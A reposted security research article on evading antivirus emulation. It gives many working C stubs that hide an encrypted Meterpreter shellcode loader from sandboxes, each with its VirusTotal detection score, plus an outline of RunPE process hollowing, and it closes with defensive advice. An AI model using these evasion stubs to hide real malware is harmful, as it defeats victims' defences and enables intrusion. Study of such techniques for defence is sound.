BYPASSING ANTIVIRUS MECHANICS

Author(s): Emeric Nasi (emeric.nasi[at]sevagas.com), Insider

This article was first posted on GREYSEC.NET. The document contains the thread's initial message. To follow the full discussion, please visit https://greysec.net/showthread.php?tid=6805.

Limitations of the AV Model and How to Exploit Them

Note: *This paper requires some knowledge C and Windows system programming*.

CONTENTS

INTRODUCTION

"Antivirus are easy to bypass", *"Antivirus are mandatory in defense in depth"*, *"This Cryptor is FUD"*, are some of the sentence you hear when doing some researches on antivirus security. I asked myself, hey is it really that simple to bypass AV? After some research I came *(like others)* to the conclusion that bypassing Antivirus consists in two big steps:

- Hide the code which may be recognized as malicious. This is generally done using encryption.
- Code the decryption stub in such a way it is not detected as a virus nor bypassed by emulation/*sandboxing*.

In this paper I will mainly focus on the last one, how to fool antivirus emulation/*sandboxing* systems. I've set myself a challenge to find half a dozen of ways to make a fully undetectable decryption stub *(in fact I found away more than that)*. Here is a collection of methods. Some of those are very complex *(and most "FUD cryptor" sellers use one of these)*. Others are so simple I don't understand why I've never seen these before. I am pretty sure underground and official virus writers are fully aware about these methods so I wanted to share these with the public.

BYPASSING ANTIVIRUS THEORY

STATIC SIGNATURE ANALYSIS

Signature analysis is based on a *blacklist* method. When a new malware is detected by AV analysts, a signature is issued. This signature can be based on particular code or data *(ex. a mutex using a specific string name)*. Often the signature is build based on the first executed bytes of the malicious binary. AV holds

database containing millions of signatures and compares scanned code with this database.

The first AV used this method; it is still used, combined with heuristic and dynamic analysis. The YARA tool can be used to easily create rules to classify and identify malware. The rules can be uploaded to AV and reverse engineering tools. YARA can be found at http://plusvic.github.io/yara/.

The big problem of signature based analysis is that it cannot be used to detect a new malware. So to bypass signature based analysis one must simply build a new code or rather do minor precise modification on existing code to erase the actual signature. The strength of polymorphic viruses is the ability to automatically change their code (using encryption) which makes it impossible to generate a single binary hash or and to identify a specific signature. It is still possible to build a signature on an encrypted malicious code when looking at specific instructions in decryption stub.

STATIC HEURISTICS ANALYSIS

In this case the AV will check the code for patterns which are known to be found in malwares. There are a lot of possible rules, which depends on the vendor. Those rules are generally not described *(I suppose to avoid them being bypassed too easily)* so it is not always easy to understand why an AV considers a software to be malicious. The main asset of heuristic analysis is that it can be used to detect new malwares which are not in signature database. The main drawback is that it generates false positives.

An example: The **CallNextHookExfunction** *(see MSDN at msdn.microsoft.com/en-us/library/windows/desktop/ms644974%28v=vs.85%29.aspx)* is generally used by users and *keyloggers*. Some Antivirus will detect the usage of this function to be a threat and will issue a heuristic warning about the software if the function name is detected in *Data segment* of the executable. Another example, a code opening *"explorer.exe"* process and attempting to write into its virtual memory is considered to be malicious.

The easiest way to bypass Heuristic analysis is to ensure that all the malicious code is hidden. Code encryption is the most common method used for that. If before the decryption the binary does not raise any alert and if the decryption stub doesn't play any usual malicious action, the malware will not be detected. I wrote an example of such code based on the **Bill Blunden Rootkit Arsenel book**. This code is available at http://www.sevagas.com/?Code-segment-encryption and here another link to make *Meterpreter* executable invisible to AVs *(at http://www.sevagas.com/?Hide-meterpreter-shellcode-in)*.

DYNAMIC ANALYSIS

These days most AV will rely on a dynamic approach. When an executable is scanned, it is launched in a virtual environment for a short amount of time. Combining this with signature verification and heuristic analysis allows detecting unknown malwares even those relying on encryption. Indeed, the code is self-decrypted in AV sandbox; then, analysis of the "new code" can trigger some suspicious behavior. If one uses encryption/decryption stub to hide a malicious, most AV will be able to detect it provided they can bypass the decryption phase! This means that bypassing dynamic analysis implies two things:

- Having an undetectable self-decryption mechanism *(as for heuristics)*.
- Prevent the AV to execute the decryption stub.

  I found out there are plenty of easy ways to fool the AV into not executing the decryption stub.

ANTIVIRUS LIMITATIONS

In fact Dynamic Analysis is complex stuff, being able to scan these millions of files, running them in emulated environment, checking all signatures… It also has limitations. The dynamic analysis model has 3 main limitations which can be exploited:

- Scans has to be very fast so there is a limit to the number of operations it can run for each scan.
- The environment is emulated so not aware of the specificity of the machine and malware environment.
- The emulated/sandbox environment has some specificity which can be detected by the malware.

THE TEST CONDITIONS

I've built the sources and tested the code on Virtual machines running **Windows Vista** and **7** with local *(free versions)* of AV installed.

VIRUS TOTAL

VirusTotal *(https://www.virustotal.com)* is the current reference for online scanning against multiple AV. It aims to provide to everyone possibility to verify a suspicious file. It is linked to more than 50 AV scanners including all major actors. VirusTotal is also an interesting possibility to check AV bypassing techniques.

Note: VirusTotal should not be used to compare between AV because they have different versions and configurations. Also the AV services called by VirusTotal may be different from the ones installed on a PC or from more complete costly versions. You can read the warnings about VirusTotal does and don't at this page https://www.virustotal.com/en/faq/. You may ask *"It is well known that if you want a non detected malware to stay FUD you never send it to VirusTotal. Why would you do that?"*

Well first, I don't care; in fact there are so many methods to bypass AV that even if those were corrected, others are still available if I need it for *pentests*. Secondly, some of the methods described below are so simple and powerful it is too difficult to build a signature from it. Also they rely on AV limitations that would be too costly to modify. So I am pretty confident methods will still work months or years after the sample were submitted. Third I consider these methods are well known to malware writers and should be shared with the community as well as AV vendors.

ENCRYPTED MALWARE

For my test I applied the method described in §3.3 *(dynamic analysis)*. I needed a code which would normally be considered to be a malware. The easiest way to do that is to use the well known *Meterpreter* payload from the *Metasploit* framework *(http://www.metasploit.com/)*. I create a C code calling non encoded Meterpreter *shellcode* as described in http://www.sevagas.com/?Hide-meterpreter-shellcode-in. I encrypted the code in such a way that any AV static analysis fails *(including analysis of the decryption stub)*. Here is a copy of the main function:

```
/* main entry */
int main(void) {
    decryptCodeSection(); // Decrypt the code
    startShellCode();    // Call the Meterpreter shellcode in decrypted code
    return 0;
}
```

This version of the code is detected by local AV scans and has a VirusTotal score of: **12/55**. From that result, my goal was to find methods to abuse the AV and to drop that detection rate to Zero *(Note that I also had AV locally installed which needed to be bypassed as a condition to appear in this paper)*.

COMPLEX METHODS

These are complex ways used to bypass antivirus, these methods are well documented, it is important to know them but it is not really the subject of this article *(simple bypass of AV)*. These complex methods are usually used by modern malware and not only to avoid AV detection. Both complex methods here imply running the code in an unusual matter.

THE CODE INJECTION METHOD

Code injection consists into running a code inside the memory of another process. This is done generally using *DLL injection* but other possibilities exist and it is even possible to inject entire exe *(as described in http://www.sevagas.com/?PE-injection-explained)*.

The complexity of the process resides in the fact that the injected code must find a way to execute itself without being loaded normally by the system *(especially since the base address is not the same)*. For DLL injection, this is done when the DLL is loaded. For code injection, the code must be able to modify its memory pointers based on the relocation section. Also being able to reconstruct IAT can be important as well.

DLL injection and code injection are already well described on the Internet. These methods are

complex to implement so describing them more is outside of this document's scope. Just keep in mind that if code injection is a good way for a malware to be stealthy it is also a lot of code some of which may be recognized by heuristic analysis. I think this is why code injection is generally not used to bypass AV, it is rather used after that phase to bring stealth and also privileges *(for example a code injected in a browser will have the same firewall permissions as the browser)*.

THE RunPE METHOD

The *"RunPE"* term refers to a method consisting into running some code in a different process by replacing the process code by the code you want to run. The difference with code injection is that in code injection you execute code in distant process allocated memory; in RunPE you replace the distant process code by the one you want to execute. Here is a short example of how it could work to hide a malware. Imagine the malware is packed / crypted and inserted in another binary dedicated to load it *(using, for example, linked resources)*. When the loader is started, it will:

- Open a valid system process *(like cmd.exe or calc.exe)* in suspended state using `CreateProcess`.
- Unmap the memory of the process *(using `NtUnmapViewOfSection`)*.
- Replace it with the malware code *(using `WriteProcessMemory`)*.
- Once the process is resumed *(using `ResumeThread`)*, the malware executes instead of the process.

Note: Replacing a process memory is no more possible when process is protected by DEP *(Data Execution Prevention, see* windows.microsoft.com/en-gb/windows-vista/what-is-data-execution-prevention).

In this case however, instead of using RunPE on another process, the loader can just call another instance of itself and run the malware into it. Since the modified code is the one written by the attacker, the method will always work *(provided the loader is compiled without DEP)*. The RunPE method combined with *customizable* decryption stubs is often used by self claimed *"FUD cryptor"* that are available on the malware market. As for code injection method, giving full example code for this case is not the objective of this paper.

SIMPLE, YET EFFECTIVE, METHODS

Now that we passed some of the complex methods, let's go through all the simple methods including code samples I tested. I also display the detection results on VirusTotal website for each example.

THE "OFFER YOU HAVE TO REFUSE" METHOD

The main limit with AV scanner is the amount of time they can spend on each file. During a regular system scan, AV will have to analyze thousands of files. It just cannot spend too much time or power on a peculiar one *(it could also lead to a form of Denial Of Service attack on the AV)*. The simplest method to bypass AV just consists into buying enough time before the code is decrypted. A simple *Sleep* won't do the trick, AV emulator have adapted to that. There are however plenty of methods to gain time. This is called *"Offer you have to refuse"* because it imposes the AV to go through some code which consume too much resources thus we are sure the AV will abandon before the real code is started.

Example 1: Allocate and fill 100MB memory.

In this first example, we just allocate and fill 100 *Mega Bytes* of memory. This is enough to discourage any emulation AV out there. **Note:** In the code below, most AV will just stop during the *malloc*, the condition verification on allocated pointer is not even needed.

```
#define TOO_MUCH_MEM 100000000

int main() {
    char* memdmp = NULL;
    memdmp = (char*) malloc(TOO_MUCH_MEM);

    if(memdmp!=NULL) {
          memset(memdmp,00, TOO_MUCH_MEM);
          free(memdmp);
          decryptCodeSection();
          startShellCode();
    }

return 0;
}
```

VirusTotal score: **0/55**. See how easy it is to reduce AV detection? Also this method relies on classic and very common *malloc* function and does not need any strings which could be used to build signature. The only drawback is the 100MB memory burst which could be detected by fine system monitoring. **Note:** If you do not run the *memset* part the detection rate is **4/55**. It used to be Zero two months ago when I started my test but I guess AV vendors adapted :-).

Example 2: Hundred million increments.

An even easier method, which does not leave any system trace, consists into doing a basic operation for a sufficient number of time. In this case we use a for loop to increment one hundred millions of times a counter. This is enough to bypass AV, but it is nothing for a modern CPU. A human being will not detect any difference when starting the code with or without this stub.

```
#define MAX_OP 100000000

int main() {
    intcpt = 0;
    inti = 0;
    for(i =0; i < MAX_OP; i ++) {cpt++;}
    if(cpt == MAX_OP) {
          decryptCodeSection();
          startShellCode();
    }

    return 0;
}
```

VirusTotal score: **0/55**. FUD method again. The *"offer you have to refuse"* is a powerful way to bypass AV emulation engines.

THE "I SHOULDN'T BE ABLE TO DO THAT!" METHOD

The concept here is that since the context is launched in an emulated system, there might be mistakes and the code is probably no running under its normal privileges. Generally, the code will run with almost all privileges on the system. This can be used to guess the code is being analyzed.

Example 1: Attempt to open a system process.

This code just attempts to open process number 4 which is generally a system process, with all rights. If the code is not run with system MIC and Session 0, this should fail *(`OpenProcess` returns 00)*. On the VirusTotal score you can see this is no FUD method but bypasses some AV which are vulnerable to this specific problem.

```
int main() {
    HANDLE file;
    HANDLE proc;
    proc = OpenProcess( PROCESS_ALL_ACCESS, FALSE, 4 );

    if(proc == NULL) {
          decryptCodeSection();
          startShellCode();
    }

    return 0;
}
```

VirusTotal score: **11/55**. However not the same AV as in §4.3 *(Encrypted malware)*, in fact only a couple detect the *meterpreter* part. All the other trigger the *OpenProcess* code as a malicious backdoor *(static heuristic analysis)*. The point here is to show emulated environment does not behave the same as normal *(malicious code are emulated with high privilege in AV)*. This could be adapted without triggering heuristic detection, for example, if malicious code is supposed to start without admin privileges.

Example 2: Attempt to open a non-existing URL.

A method which is often use to get code self awareness of being into a sandbox is to download a specific file on the Internet and compare its hash with a hash the code knows. Why does it work? Because sandboxes environment do not give potential malicious code any access to the Internet. When a *sandboxed* codes opens an Internet page, the sandbox will just send its own self generated file. Thus, the code can compare this file with the one it expects.

This method has a few problems, first it will never work if you do not have Internet access. Second, if the downloaded file changes or is removed, the code will not work either. Another method which does not have these problems is to do the opposite! Attempt to access Web domains which does not exist. In the real world, it fails. In an AV, it will work since the AV will use its own simulated page!

```
#include <Wininet.h>
#pragma comment(lib, "Wininet.lib")

int main() {
    charcononstart[]= "http://www.notdetectedmaliciouscode.com//"; //Invalid URL
    charreadbuf[1024];
    HINTERNET httpopen, openurl;
    DWORD read;

    httpopen=InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
       openurl=InternetOpenUrl(httpopen,cononstart,NULL,NULL,INTERNET_FLAG_RELOAD|
INTERNET_FLAG_NO_CACHE_WRITE,NULL);

    if(!openurl) //Access failed, we are not in AV
    {
          InternetCloseHandle(httpopen);
          InternetCloseHandle(openurl);
          decryptCodeSection();
          startShellCode();
    }
    else // Access successful, we are in AV and redirected to a custom webpage
    {
          InternetCloseHandle(httpopen);
          InternetCloseHandle(openurl);
      }
}
```

VirusTotal score: **2/55**. Something funny here. Among the two results I have one AV which thinks my stub may be a dropper *(stupid heuristic false positives…)*. The second one really finds the *Meterpreter* backdoor. And this is really weird. That means either these guys have a really smart system or they allow AV connection in the sandbox they use. I remember reading about someone who actually got a remote Meterpreter connection when uploading to VirusTotal. Maybe it was the same scanner.

THE "KNOWING YOUR ENEMY" METHOD

If one knows some information on the target machine, it becomes pretty easy to bypass any AV. Just link the code decryption mechanism to some information you know on the target PC *(or group of PCs)*.

Example 1: Action which depends on local user name.

If the user name of someone on system is known, it is possible to ask for actions depending on that user name. For example, we can attempt to write and read inside the user account files. In the code below we create a file on a user desktop, we write some chars in it, then only we can open the file and read the chars, we start the decryption scheme.

```
#define FILE_PATH "C:\\Users\\bob\\Desktop\\tmp.file"

int main() {

   HANDLE file;
   DWORD tmp;
   LPCVOID buff = "1234";
   charoutputbuff[5]={0};

   file = CreateFile(FILE_PATH, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,    FILE_ATTRIBUTE_NORMAL, 0);

   if(WriteFile(file, buff, strlen((constchar*)buff), &tmp, NULL)) {
      CloseHandle(file);
      file = CreateFile(FILE_PATH,
            GENERIC_READ,
            FILE_SHARE_READ,
            NULL,
            OPEN_EXISTING,       // existing file only
            FILE_ATTRIBUTE_NORMAL ,
            NULL);
      if(ReadFile(file,outputbuff,4,&tmp,NULL)) {
         if(strncmp(buff,outputbuff,4)==0) {
            decryptCodeSection();
            startShellCode();
         }
      }
      CloseHandle(file);
   }
   DeleteFile(FILE_PATH);
   return 0;
}
```

VirusTotal score: **0/55**. Needless to say this one is FUD. In fact, AV scanner will generally fail to create and write into a file which is in path not foreseen. I was surprised at first because I expected AV to self adapt to the host PC, well it is not the case *(I've tested this with several AV on the same PC, not only using VirusTotal)*.

THE "WTF IS THAT?" METHOD

Windows system API is so big that AV emulation system just don't cover everything. In this section I just put two examples but a lot other exist in the meander of Windows system APIs.

Example 1: What the fuck is **NUMA**?

NUMA stands for **Non Uniform Memory Access**. It is a method to configure memory management in multiprocessing systems. It is linked to a whole set of functions declare in Kernel32.dll More information is available at https://docs.microsoft.com/en-us/windows/win32/procthread/numa-support?redirectedfrom=MSDN. The next code will work on a regular PC but will fail in AV emulators.

```
int main(void) {
    LPVOID mem = NULL;
       mem = VirtualAllocExNuma(GetCurrentProcess(), NULL, 1000, MEM_RESERVE |
MEM_COMMIT, PAGE_EXECUTE_READWRITE,0);

    if(mem != NULL) {
          decryptCodeSection();
          startShellCode();
    }

    return 0;
}
```

VirusTotal score: **0/55**.

Example 2: What the fuck are FLS?

FLS is **Fiber Local Storage**, used to manipulate data related to fibers. Fibers themselves are unit of execution running inside threads. See more information in https://docs.microsoft.com/en-us/windows/win32/procthread/fibers?redirectedfrom=MSDN. What is interesting here is that some AV emulators will always return FLS_OUT_OF_INDEXES for the FlsAllocfunction.

```
int main(void) {
    DWORD result =  FlsAlloc(NULL);

      if(result != FLS_OUT_OF_INDEXES) {
          decryptCodeSection();
          startShellCode();
      }

      return 0;
}
```

VirusTotal score: **8/55**.

THE "CHECKING THE ENVIRONMENT" METHOD

Here again the principle is simple. If the AV relies on a *Sandboxed*/emulated environment, some environment checks will necessarily be different from the real infection case. There are lots of ways to do these kinds of checks. Two of those are described in this section:

Example 1: Check process memory.

Using *sysinternal* tools I realized that when an AV scans a process it affects its memory. The AV will allocate memory for that, also the emulated code process API will return different values from what is expected. In this case I use the GetProcessMemoryInfo on the current process. If this current working set is bigger than 3500000 bytes I consider the code is running in an AV environment, if it is not the case, the code is decrypted and started.

```
#include <Psapi.h>
#pragma comment(lib, "Psapi.lib")

int main() {
    PROCESS_MEMORY_COUNTERS pmc;
    GetProcessMemoryInfo(GetCurrentProcess(), &pmc, sizeof(pmc));

    if(pmc.WorkingSetSize<=3500000) {
          decryptCodeSection();
          startShellCode();
    }

    return 0;
}
```

VirusTotal score: **1/55**. Almost FUD. Also it seems the AV does not detect the Meterpreter but triggers some heuristics on the main function. The detection event seems to be linked to windows system executable patched by malware *(Do not ask me why this code is thought to be a patched Window binary in this case...)*.

Example 2: Time distortion.

We know that Sleep function is emulated by AV. This is done in order to prevent bypassing the scan time limit with a simple call to Sleep. The question is, is there a flaw in the way Sleep is emulated?

```
#include <time.h>
#pragma comment(lib, "winmm.lib")

int main() {
    DWORD mesure1;
    DWORD mesure2;

    mesure1 = timeGetTime();
    Sleep(1000);
    mesure2 = timeGetTime();

    if((mesure2 > (mesure1+ 1000)) && (mesure2 < (mesure1+ 1005))) {
          decryptCodeSection();
          startShellCode();
    }

      return 0;
}
```

VirusTotal score: **8/55**. Apparently some AV fall for the trick.

Example 3: What is my name?

Since the code is emulated it is not started in a process which has the name of the binary file. This method is described by **Attila Marosi** in **DeepSec** http://blog.deepsec.net/?p=1613 The tested binary file is *"test.exe"*. In the ext code we check that first argument contains name of the file.

```
int main(int argc, char * argv[]) {
    if(strstr(argv[0], "test.exe") >0) {
          decryptCodeSection();
          startShellCode();
    }
return 0;
}
```

VirusTotal score: **0/55**. The **DeepSec** article was written in 2013 and method is still FUD.

THE "I CALL MYSELF" METHOD

This is a variation of the environment check method. The AV will only trigger the code if it has been called in a certain way.

Example 1: I am my own father.

In this example the executable *(test.exe)* will only enter the decryption branch if its parent process is also *test.exe*. When the code is launched, it will get its parent process ID and if this parent process is not *test.exe*, it will call *test.exe* and then stop. The called process will then have a parent called *test.exe* and will enter the decryption part.

```
#include <TlHelp32.h>
#include <Psapi.h>
#pragma comment(lib, "Psapi.lib")

int main(){
    intpid = -1;
    HANDLE hProcess;
    HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe = { 0 };
    pe.dwSize = sizeof(PROCESSENTRY32);

    // Get current PID
    pid = GetCurrentProcessId();

    if( Process32First(h, &pe)) {
          // find parent PID
        do {
              if(pe.th32ProcessID == pid) {
              // Now we have the parent ID, check the module name
              // Get a handle to the process.
               hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
FALSE, pe.th32ParentProcessID);

              // Get the process name.
              if(NULL != hProcess ) {
                  HMODULE hMod;
                  DWORD cbNeeded;
```

```
                    TCHAR processName[MAX_PATH];

                            if( EnumProcessModules( hProcess, &hMod, sizeof(hMod),
&cbNeeded) ) {
                           // If parent process is myself, decrypt the code
                                    GetModuleBaseName( hProcess, hMod, processName,
sizeof(processName)/sizeof(TCHAR));
                            if(strncmp(processName,"test.exe",strlen(processName))==0)
{
                               decryptCodeSection();
                               startShellCode();
                           }
                           else
                           {
                                 // or else call my binary in a new process
                                 startExe("test.exe");
                                 Sleep(100); // Wait for child
                           }
                      }
                }
                // Release the handle to the process.
                CloseHandle( hProcess );
           }
    }
    while( Process32Next(h, &pe));
}
CloseHandle(h);
return 0;
}
```

VirusTotal score: **1/55**. AV are generally not able to follow this kind of process because they will scan the parent and not the child process *(even if it is in fact the same code)*.

Example 2: First open a mutex.

In this example, the code *(test.exe)* will only start decryption code if a certain *mutex* object already exists on the system. The trick is that if the object does not exist, this code will create and call a new instance of itself. The child process will try to create the mutex before the father process dies and will fall into the ERROR_ALREADY_EXIST code branch.

```
int main() {
    HANDLE mutex;
    mutex = CreateMutex(NULL, TRUE, "muuuu");

    if(GetLastError() == ERROR_ALREADY_EXISTS) {
          decryptCodeSection();
          startShellCode();
    }
    else
    {
          startExe("test.exe");
          Sleep(100);
      }
      return 0;
}
```

VirusTotal score: **0/55**. Another very simple example which renders fully undetectable code.

CONCLUSION

To conclude, these examples show it is pretty simple to bypass AV when you exploit their weaknesses. It only requires some knowledge on Windows System and how AV works. However, I do not say that having AV is useless. AV is very useful detecting those millions of wild bots which are already in its database. Also AV is useful for system recovery. What I am saying is that AV can be easily fooled by new viruses, especially in the case of a targeted attack.

Customized malwares are often used as part of APT and AV might probably be useless against them. This doesn't mean that everything is lost! There are alternatives solutions to AV, system hardening, application *whitelisting*, Host Intrusion Prevention Systems. These solutions having their own assets and weaknesses. If I may give some humble recommendations against malwares I would say:

Never run as administrator if you don't have to. This is a golden rule, it can avoid 99% malwares without having an AV. This has been the normal way of doing things for Linux users for years. It is in my opinion the most important security measure.

- Harden the systems, recent versions of Windows have really strong security features, use them.
- Invest in Network Intrusion Detection Systems and monitor your network. Often, malware infections are not detected on the victims PC but thanks to weird NIDS or firewall logs.
- If you can afford it, use several AV products from different vendors. One product can cover the weakness of another, also **there are possibilities that products coming from a country will be friendly to this country government malwares**.
- If you can afford it, use other kind of security products from different vendors.
- Last but not least, human training. Tools are nothing when the human can be exploited.